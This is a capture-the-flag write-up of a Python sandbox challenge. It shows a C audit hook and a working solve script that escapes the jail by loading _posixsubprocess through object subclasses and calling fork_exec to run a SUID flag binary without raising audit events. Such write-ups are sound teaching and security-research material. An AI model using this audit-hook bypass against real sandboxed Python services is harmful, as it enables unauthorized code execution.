The challenge begins by installing a Python audit hook written in C:
static int auditor_hook(const char *event, PyObject *Py_UNUSED(args), void *Py_UNUSED(user_data))
{
if (!atomic_load(&auditor_may_exec) || atomic_flag_test_and_set(&auditor_did_exec) || strcmp(event, "exec"))
auditor_exit(EXIT_FAILURE);
return 0;
}
Essentially, this allows the 'exec' event to be run once. If it's run again, or any other audit events are raised, it will exit immediately using the exit()
syscall, without running any exit handlers.
The challenge also clears sys.modules
, although we still have access to builtins
due to the misuse of exec
.
The flag.txt file is not readable, so the goal is to run the SUID '/readflag' binary.
Immediately, it should be obvious that there are two major areas to investigate to solving.
- Escape from 'Python-land' - Perform some kind of exploit to give us native code execution. I quickly tried
unsafe-python
, but this turned out to use several unavailable imports, and actually raises some audit events. The intended solution here was apparently to use a Python bug and pwn the process - I guessed that this might be the case as the challenge was under "pwn", but, being familiar with Pyjail challenges, tried to find an in-Python method to do it. - Find a non-audited way of executing a binary
After some research, I managed to land on _posixsubprocess.fork_exec
(here). This is a function used in the implementation of the multiprocessing
and subprocess
modules.
I found that executing _posixsubprocess.fork_exec([b"/readflag"], [b"/readflag"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)
would run the binary and get the flag. But how to get the modules - they've been cleared from the process?
I quickly found that ().__class__.__base__.__subclasses__()[84].load_module
is a function allowing imports of a small subset of the Python builtin modules. This includes sys
, posix
, time
, _imp
and so on. I also found that by modifying sys.builtin_module_names
, I could import more modules, such as os
and types
- but not all!
At this point I got stuck, spending a lot of time trying to traverse from my modules to one importing _posixsubprocess
. However, shortly after the competition I discovered: load_module
is able to load _posixsubprocess
in the Python version in the Docker, but not in my host's! With this, solving is easy:
# Make fake import function
import_ = ().__class__.__base__.__subclasses__()[84].load_module
# Load _ps
_posixsubprocess = import_("_posixsubprocess")
# subclasses[133] is an os module function, so we can reach os.pipe via its globals
pipe = ().__class__.__base__.__subclasses__()[133].__init__.__globals__['pipe']
# Get the flag
_posixsubprocess.fork_exec([b"/readflag"], [b"/readflag"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(pipe()), False, False, None, None, None, -1, None)
tl;dr Python is impossible to sandbox, and always use the provided Docker environment!